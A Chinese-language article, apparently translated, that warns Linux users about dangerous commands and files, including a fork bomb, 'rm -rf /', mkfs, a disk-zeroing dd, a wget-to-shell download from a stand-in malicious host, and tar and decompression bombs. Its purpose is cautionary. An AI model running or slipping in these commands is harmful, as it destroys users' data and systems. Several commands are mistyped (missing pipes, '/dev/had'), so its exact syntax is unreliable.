还有一些事情需要注意一些命令只在Ubuntu中有sudo前缀时是有危害的。其他发行版本的Linux则是在作为根目录命令时会有危害。
1、Linux Fork Bomb Command
: (){ :: & };:以Fork Bomb闻名是一个拒绝服务攻击的Linux系统。: (){ :: & };:是一个bash函数。只要被执行他会不断重复直到系统被冻结。
你只能重启系统解决这个问题。所以当你在Linux界面执行这个命令时一定要注意。
2、Mv Folder/Dev/Null Command
mv folder/dev/null也是一个危险的命令。Dev/null或者null device是一个删除所有写在这个设备文件上数据的设备文件但是该操作提示却是写入操作执行成功。这就是我们常说的bit bucked或者black hole。
3、Rm -Rf Command
rm -rf命令在Linux系统中可以快速删除文件夹及其内容。如果你不知道如何正确使用它你就只有哭了。
以下为m-rf命令最常见的组合和选择
rm command删除Linux系统的文件
rm -f command不需提示删除文件中的只读文件
rm -r command循环删除文件夹的内容
rm -d command删除空目录如果非空目录则不会执行该操作
rm -rf/ command强制删除根目录中的所有内容和子文件夹(包括写保护文件)命令
rm -rf* command强制删除当前目录中的所有内容(当前工作目录)和字文件夹
rm -rf. command强制删除当前文件夹目录/子目录中的所有内容。同rm -r.[^.]*
The rm -r.[^.]* command删除文件及文件夹带有删除提示
4、Mkfs Command
如果你不知mkfs的作用那么它也是一个危险的命令mkfs之后写的任何命令都将会被一个空白的linux文件系统格式化、替代。
下面列举出需要管理员权限格式化硬盘的命令
mkfs
mkfs.ext3
mkfs.bfs
mkfs.ext2
mkfs.minix
mkfs.msdos mkfs.reiserfs
mkfs.vfat
mkfs.cramfs也可以和上面的代码做同样的事情不过不需要管理源权限。
5、Tar Bomb
tar命令用于将多个文件以.tar格式放入一个文件中(存档文件)。Tape Archive (Tar) bomb可以由他创建。
当为压缩时就是这个存档文件生成数以万计的相似名称文件出现在当前目录中而不是新目录。
当收到tar文件定期创建一个新的保护目录然后在解压前将接受的tar文件放到这个目录中你可以避免成为tar bomb的受害者。
6、Dd Command
Dd命令用于复制&改变硬盘分区。如果你用错地方了那么也很危险。
下面列举dd命令
dd if=/dev/hda of=/dev/hdb
dd if=/dev/hda of=/dev/sdb
dd if=something of=/dev/hda
dd if=something of=/dev/sda
下面这个命令会将整个主硬盘清零dd if=/dev/zero of=/dev/had
7、Shell Script Code
有时候你可能会被人坑给你一个shell脚本文件让你去下载并执行它。该脚本可能会包含一些恶意的或危险的代码。命令形式可能会是这样wget http://some_malicious_source -O- sh。wget将会在sh狭隘脚本时下载脚本。
8、Malicious Source Code
也许有人会给你源代码让你编译他。代码可能是正常代码不过有一些恶意代码伪装在大型源代码中如果是这样你的系统就中枪了。如何避免?仅接受并编译可信赖来源的源代码。
9、Decompression Bomb
你已经收到一个压缩文件你被要求提取这个看起来很小的文件可能小到KB。事实上该小尺寸的压缩文件包含高度压缩数据。
只要文件解压上百GB数据会被提取这时候过大的数据填满硬盘导致宕机几率就很大了。如何避免?还是那句老话别手贱什么文件都去接收请接收可信任来源文件。